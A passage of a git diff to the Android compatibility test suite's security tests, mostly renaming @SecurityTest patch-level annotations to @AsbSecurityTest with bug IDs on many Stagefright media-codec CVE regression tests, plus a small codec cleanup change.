+    @AsbSecurityTest(cveBugId = 37203196)
     public void testBug_37203196() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_37203196_framelen);
         doStagefrightTestRawBlob(R.raw.bug_37203196_mpeg2, "video/mpeg2", 48, 48, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-06")
+    @AsbSecurityTest(cveBugId = 73552574)
     public void testBug_73552574() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_73552574_framelen);
         doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-09")
+    @AsbSecurityTest(cveBugId = 23285192)
     public void testStagefright_bug_23285192() throws Exception {
         doStagefrightTest(R.raw.bug_23285192);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-03")
+    @AsbSecurityTest(cveBugId = 25928803)
     public void testStagefright_bug_25928803() throws Exception {
         doStagefrightTest(R.raw.bug_25928803);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-04")
+    @AsbSecurityTest(cveBugId = 26399350)
     public void testBug_26399350() throws Exception {
         int[] frameSizes = {657, 54930};
         doStagefrightTestRawBlob(R.raw.bug_26399350_avc, "video/avc", 640, 480,
@@ -1040,13 +1040,13 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-12")
+    @AsbSecurityTest(cveBugId = 113260892)
     public void testBug_113260892() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_113260892_hevc, "video/hevc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-02")
+    @AsbSecurityTest(cveBugId = 68342866)
     public void testStagefright_bug_68342866() throws Exception {
         NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
         policy.setCleartextTrafficPermitted(true);
@@ -1120,74 +1120,74 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-05")
+    @AsbSecurityTest(cveBugId = 74114680)
     public void testStagefright_bug_74114680() throws Exception {
         doStagefrightTest(R.raw.bug_74114680_ts, (10 * 60 * 1000));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-03")
+    @AsbSecurityTest(cveBugId = 70239507)
     public void testStagefright_bug_70239507() throws Exception {
         doStagefrightTestExtractorSeek(R.raw.bug_70239507,1311768465173141112L);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33250932)
     public void testBug_33250932() throws Exception {
     int[] frameSizes = {65, 11, 102, 414};
     doStagefrightTestRawBlob(R.raw.bug_33250932_avc, "video/avc", 640, 480, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 37430213)
     public void testStagefright_bug_37430213() throws Exception {
     doStagefrightTest(R.raw.bug_37430213);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-11")
+    @AsbSecurityTest(cveBugId = 68664359)
     public void testStagefright_bug_68664359() throws Exception {
         doStagefrightTest(R.raw.bug_68664359, 60000);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-11")
+    @AsbSecurityTest(cveBugId = 110435401)
     public void testStagefright_bug_110435401() throws Exception {
         doStagefrightTest(R.raw.bug_110435401, 60000);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 32589224)
     public void testStagefright_cve_2017_0474() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0474, 120000);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 62872863)
     public void testStagefright_cve_2017_0765() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0765);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 70637599)
     public void testStagefright_cve_2017_13276() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13276);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-12")
+    @AsbSecurityTest(cveBugId = 31681434)
     public void testStagefright_cve_2016_6764() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6764, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 38495900)
     public void testStagefright_cve_2017_13214() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13214);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 35467107)
     public void testStagefright_bug_35467107() throws Exception {
         doStagefrightTest(R.raw.bug_35467107, new CrashUtils.Config().checkMinAddress(false));
     }
@@ -1197,13 +1197,13 @@
      before any existing test methods
      ***********************************************************/
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 162756352)
     public void testStagefright_cve_2020_11184() throws Exception {
         doStagefrightTest(R.raw.cve_2020_11184);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-07")
+    @AsbSecurityTest(cveBugId = 130024844)
     public void testStagefright_cve_2019_2107() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
             getInstrumentation().getContext().getPackageManager(),
@@ -1214,85 +1214,85 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-04")
+    @AsbSecurityTest(cveBugId = 122473145)
     public void testStagefright_cve_2019_2245() throws Exception {
         doStagefrightTest(R.raw.cve_2019_2245);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-04")
+    @AsbSecurityTest(cveBugId = 120483842)
     public void testStagefright_cve_2018_13925() throws Exception {
         doStagefrightTest(R.raw.cve_2018_13925);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-12")
+    @AsbSecurityTest(cveBugId = 157905659)
     public void testStagefright_cve_2020_11139() throws Exception {
         doStagefrightTest(R.raw.cve_2020_11139);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 150697436)
     public void testStagefright_cve_2020_3663() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3663);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-08")
+    @AsbSecurityTest(cveBugId = 155653312)
     public void testStagefright_cve_2020_11122() throws Exception {
         doStagefrightTest(R.raw.cve_2020_11122);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-07")
+    @AsbSecurityTest(cveBugId = 153345450)
     public void testStagefright_cve_2020_3688() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3688);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 162756122)
     public void testStagefright_cve_2020_11168() throws Exception {
         doStagefrightTest(R.raw.cve_2020_11168);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 150697838)
     public void testStagefright_cve_2020_3658() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3658);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-05")
+    @AsbSecurityTest(cveBugId = 148816216)
     public void testStagefright_cve_2020_3633() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3633);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 150695050)
     public void testStagefright_cve_2020_3660() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3660);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 150695169)
     public void testStagefright_cve_2020_3661() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3661);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271944)
     public void testStagefright_cve_2019_14013() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14013);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 150696661)
     public void testStagefright_cve_2020_3662() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3662);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2021-01")
+    @AsbSecurityTest(cveBugId = 170583712)
     public void testStagefright_cve_2021_0312() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
             getInstrumentation().getContext().getPackageManager(),
@@ -1302,7 +1302,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-09")
+    @AsbSecurityTest(cveBugId = 77600398)
     public void testStagefright_cve_2018_9474() throws Exception {
         MediaPlayer mp = new MediaPlayer();
         RenderTarget renderTarget = RenderTarget.create();
@@ -1339,7 +1339,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-09")
+    @AsbSecurityTest(cveBugId = 130025324)
     public void testStagefright_cve_2019_2108() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
             new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
@@ -1347,7 +1347,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-09")
+    @AsbSecurityTest(cveBugId = 25747670)
     public void testStagefright_cve_2016_3880() throws Exception {
         Thread server = new Thread() {
             @Override
@@ -1423,7 +1423,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2021-01")
+    @AsbSecurityTest(cveBugId = 170240631)
     public void testStagefright_bug170240631() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
             getInstrumentation().getContext().getPackageManager(),
@@ -1432,133 +1432,133 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-05")
+    @AsbSecurityTest(cveBugId = 148816624)
     public void testStagefright_cve_2020_3641() throws Exception {
         doStagefrightTest(R.raw.cve_2020_3641);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-04")
+    @AsbSecurityTest(cveBugId = 147103871)
     public void testStagefright_cve_2019_14127() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14127);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-04")
+    @AsbSecurityTest(cveBugId = 147104052)
     public void testStagefright_cve_2019_14132() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14132);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-03")
+    @AsbSecurityTest(cveBugId = 145545283)
     public void testStagefright_cve_2019_10591() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10591);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-02")
+    @AsbSecurityTest(cveBugId = 143903858)
     public void testStagefright_cve_2019_10590() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10590);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271848)
     public void testStagefright_cve_2019_14004() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14004);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271498)
     public void testStagefright_cve_2019_14003() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14003);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-02")
+    @AsbSecurityTest(cveBugId = 143903018)
     public void testStagefright_cve_2019_14057() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14057);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271634)
     public void testStagefright_cve_2019_10532() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10532);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142268949)
     public void testStagefright_cve_2019_10578() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10578);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-03")
+    @AsbSecurityTest(cveBugId = 145545758)
     public void testStagefright_cve_2019_14061() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14061, 180000);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271615)
     public void testStagefright_cve_2019_10611() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10611);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-08")
+    @AsbSecurityTest(cveBugId = 132108754)
     public void testStagefright_cve_2019_10489() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10489);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-03")
+    @AsbSecurityTest(cveBugId = 145545282)
     public void testStagefright_cve_2019_14048() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14048);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-07")
+    @AsbSecurityTest(cveBugId = 129766432)
     public void testStagefright_cve_2019_2253() throws Exception {
         doStagefrightTest(R.raw.cve_2019_2253);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271692)
     public void testStagefright_cve_2019_10579() throws Exception {
         doStagefrightTestANR(R.raw.cve_2019_10579);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271965)
     public void testStagefright_cve_2019_14005() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14005);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271827)
     public void testStagefright_cve_2019_14006() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14006);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142270646)
     public void testStagefright_CVE_2019_14016() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14016);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271515)
     public void testStagefright_CVE_2019_14017() throws Exception {
         doStagefrightTest(R.raw.cve_2019_14017);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 78029004)
     public void testStagefright_cve_2018_9412() throws Exception {
         doStagefrightTest(R.raw.cve_2018_9412, 180000);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "Unknown")
+    @AsbSecurityTest(cveBugId = 142641801)
     public void testStagefright_bug_142641801() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
             getInstrumentation().getContext().getPackageManager(),
@@ -1567,32 +1567,32 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-09")
+    @AsbSecurityTest(cveBugId = 134437379)
     public void testStagefright_cve_2019_10534() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10534);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-09")
+    @AsbSecurityTest(cveBugId = 134437210)
     public void testStagefright_cve_2019_10533() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10533);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-09")
+    @AsbSecurityTest(cveBugId = 134437115)
     public void testStagefright_cve_2019_10541() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10541);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-02")
+    @AsbSecurityTest(cveBugId = 62851602)
     public void testStagefright_cve_2017_13233() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2017_13233_hevc, "video/hevc", 640,
                 480);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-07")
+    @AsbSecurityTest(cveBugId = 130023983)
     public void testStagefright_cve_2019_2106() throws Exception {
         int[] frameSizes = {943, 3153};
         doStagefrightTestRawBlob(R.raw.cve_2019_2106_hevc, "video/hevc", 320,
@@ -1600,105 +1600,105 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 34064500)
     public void testStagefright_cve_2017_0637() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0637, 2 * 72000);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-09")
+    @AsbSecurityTest(cveBugId = 109678380)
     public void testStagefright_cve_2018_11287() throws Exception {
         doStagefrightTest(R.raw.cve_2018_11287, 180000);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-07")
+    @AsbSecurityTest(cveBugId = 129766125)
     public void testStagefright_cve_2019_2327() throws Exception {
         doStagefrightTest(R.raw.cve_2019_2327);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-07")
+    @AsbSecurityTest(cveBugId = 129766496)
     public void testStagefright_cve_2019_2322() throws Exception {
         doStagefrightTest(R.raw.cve_2019_2322);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-07")
+    @AsbSecurityTest(cveBugId = 129766099)
     public void testStagefright_cve_2019_2334() throws Exception {
         doStagefrightTest(R.raw.cve_2019_2334);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 64380237)
     public void testStagefright_cve_2017_13204() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.cve_2017_13204_framelen);
         doStagefrightTestRawBlob(R.raw.cve_2017_13204_avc, "video/avc", 16, 16, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-03")
+    @AsbSecurityTest(cveBugId = 70221445)
     public void testStagefright_cve_2017_17773() throws Exception {
         doStagefrightTest(R.raw.cve_2017_17773);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 68326816)
     public void testStagefright_cve_2017_18074() throws Exception {
         doStagefrightTest(R.raw.cve_2017_18074);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-06")
+    @AsbSecurityTest(cveBugId = 74236854)
     public void testStagefright_cve_2018_5894() throws Exception {
         doStagefrightTest(R.raw.cve_2018_5894);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 77485139)
     public void testStagefright_cve_2018_5874() throws Exception {
         doStagefrightTest(R.raw.cve_2018_5874);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 77485183)
     public void testStagefright_cve_2018_5875() throws Exception {
         doStagefrightTest(R.raw.cve_2018_5875);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 77485022)
     public void testStagefright_cve_2018_5876() throws Exception {
         doStagefrightTest(R.raw.cve_2018_5876);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 77483830)
     public void testStagefright_cve_2018_5882() throws Exception {
         doStagefrightTest(R.raw.cve_2018_5882);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-12")
+    @AsbSecurityTest(cveBugId = 65186291)
     public void testBug_65186291() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_65186291_framelen);
         doStagefrightTestRawBlob(R.raw.bug_65186291_hevc, "video/hevc", 1920, 1080, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 67737022)
     public void testBug_67737022() throws Exception {
         doStagefrightTest(R.raw.bug_67737022);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 37093318)
     public void testStagefright_bug_37093318() throws Exception {
         doStagefrightTest(R.raw.bug_37093318, (4 * 60 * 1000));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-05")
+    @AsbSecurityTest(cveBugId = 73172046)
     public void testStagefright_bug_73172046() throws Exception {
         doStagefrightTest(R.raw.bug_73172046);
 
@@ -1711,55 +1711,55 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-03")
+    @AsbSecurityTest(cveBugId = 25765591)
     public void testStagefright_cve_2016_0824() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0824);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-03")
+    @AsbSecurityTest(cveBugId = 26365349)
     public void testStagefright_cve_2016_0815() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0815);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-05")
+    @AsbSecurityTest(cveBugId = 26221024)
     public void testStagefright_cve_2016_2454() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2454);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-12")
+    @AsbSecurityTest(cveBugId = 31449945)
     public void testStagefright_cve_2016_6765() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6765, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28799341)
     public void testStagefright_cve_2016_2508() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2508, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 31373622)
     public void testStagefright_cve_2016_6699() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6699);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-06")
+    @AsbSecurityTest(cveBugId = 66734153)
     public void testStagefright_cve_2017_18155() throws Exception {
         doStagefrightTest(R.raw.cve_2017_18155);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 77599438)
     public void testStagefright_cve_2018_9423() throws Exception {
         doStagefrightTest(R.raw.cve_2018_9423);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-09")
+    @AsbSecurityTest(cveBugId = 29770686)
     public void testStagefright_cve_2016_3879() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
     }
@@ -1770,13 +1770,13 @@
      ***********************************************************/
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 162756960)
     public void testStagefright_cve_2020_11196() throws Exception {
         doStagefrightTest(R.raw.cve_2020_11196);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-11")
+    @AsbSecurityTest(cveBugId = 112661641)
     public void testStagefright_cve_2018_9531() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
                 getInstrumentation().getContext().getPackageManager(),
@@ -1789,7 +1789,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12")
+    @AsbSecurityTest(cveBugId = 140322595)
     public void testStagefright_cve_2019_2222() throws Exception {
         // TODO(b/170987914): This also skips testing hw_codecs.
         // Update doStagefrightTestRawBlob to skip just the sw_codec test.
@@ -1810,7 +1810,7 @@
      ***********************************************************/
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12")
+    @AsbSecurityTest(cveBugId = 140692129)
     public void testStagefright_cve_2019_2223() throws Exception {
         // TODO(b/170987914): This also skips testing hw_codecs.
         // Update doStagefrightTestRawBlob to skip just the sw_codec test.
@@ -1822,7 +1822,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-03")
+    @AsbSecurityTest(cveBugId = 118399205)
     public void testStagefright_cve_2019_1989() throws Exception {
         Object obj[] = getFrameInfo(R.raw.cve_2019_1989_info);
         int[] isHeader = (int[])obj [0];
@@ -2166,7 +2166,7 @@
      * b/135207745
      */
     @Test
-    @SecurityTest(minPatchLevel = "2019-08")
+    @AsbSecurityTest(cveBugId = 124781927)
     public void testStagefright_cve_2019_2129() throws Exception {
         final int rid = R.raw.cve_2019_2129;
         String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
@@ -2404,6 +2404,11 @@
                 } catch (Exception e) {
                     // local exceptions ignored, not security issues
                 } finally {
+                    try {
+                        codec.stop();
+                    } catch (Exception e) {
+                        // local exceptions ignored, not security issues
+                    }
                     codec.release();
                     renderTarget.destroy();
                 }
@@ -2514,94 +2519,94 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 36215950)
     public void testBug36215950() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36215950, "video/hevc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 36816007)
     public void testBug36816007() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 36895511)
     public void testBug36895511() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-11")
+    @AsbSecurityTest(cveBugId = 64836894)
     public void testBug64836894() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_64836894, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 35583675)
     public void testCve_2017_0687() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 37207120)
     public void testCve_2017_0696() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2017_0696, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 37930177)
     public void testBug_37930177() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_37930177_hevc, "video/hevc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 37712181)
     public void testBug_37712181() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_37712181_hevc, "video/hevc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 70897394)
     public void testBug_70897394() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "Unknown")
+    @AsbSecurityTest(cveBugId = 123700383)
     public void testBug_123700383() throws Exception {
         assertExtractorDoesNotHang(R.raw.bug_123700383);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "Unknown")
+    @AsbSecurityTest(cveBugId = 127310810)
     public void testBug_127310810() throws Exception {
         assertExtractorDoesNotHang(R.raw.bug_127310810);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "Unknown")
+    @AsbSecurityTest(cveBugId = 127312550)
     public void testBug_127312550() throws Exception {
         assertExtractorDoesNotHang(R.raw.bug_127312550);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "Unknown")
+    @AsbSecurityTest(cveBugId = 127313223)
     public void testBug_127313223() throws Exception {
         assertExtractorDoesNotHang(R.raw.bug_127313223);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "Unknown")
+    @AsbSecurityTest(cveBugId = 127313537)
     public void testBug_127313537() throws Exception {
         assertExtractorDoesNotHang(R.raw.bug_127313537);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "Unknown")
+    @AsbSecurityTest(cveBugId = 127313764)
     public void testBug_127313764() throws Exception {
         assertExtractorDoesNotHang(R.raw.bug_127313764);
     }
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index d0afec0..3be7534 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -18,7 +18,7 @@
 import junit.framework.TestCase;
 
 import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.media.audiofx.AudioEffect;
 import android.media.MediaPlayer;
 import android.media.audiofx.Visualizer;
@@ -30,7 +30,6 @@
 import java.util.UUID;
 
 
-@SecurityTest
 public class VisualizerEffectTest extends AndroidTestCase {
     private String TAG = "VisualizerEffectTest";
     @Override
@@ -39,7 +38,7 @@
     }
 
     //Testing security bug: 30229821
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 30229821)
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
         final int VISUALIZER_CMD_MEASURE = 0x10001;
diff --git a/tests/tests/security/src/android/security/cts/VoldExploitTest.java b/tests/tests/security/src/android/security/cts/VoldExploitTest.java
index a68d5d0..248579c 100644
--- a/tests/tests/security/src/android/security/cts/VoldExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/VoldExploitTest.java
@@ -18,10 +18,8 @@
 
 import android.content.Context;
 import android.os.storage.StorageManager;
-import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
-@SecurityTest
 public class VoldExploitTest extends AndroidTestCase {
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java b/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java
index 76449fa..70e345d 100644
--- a/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java
+++ b/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java
@@ -18,7 +18,6 @@
 
 import android.content.res.AssetManager;
 import android.net.http.X509TrustManagerExtensions;
-import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.File;
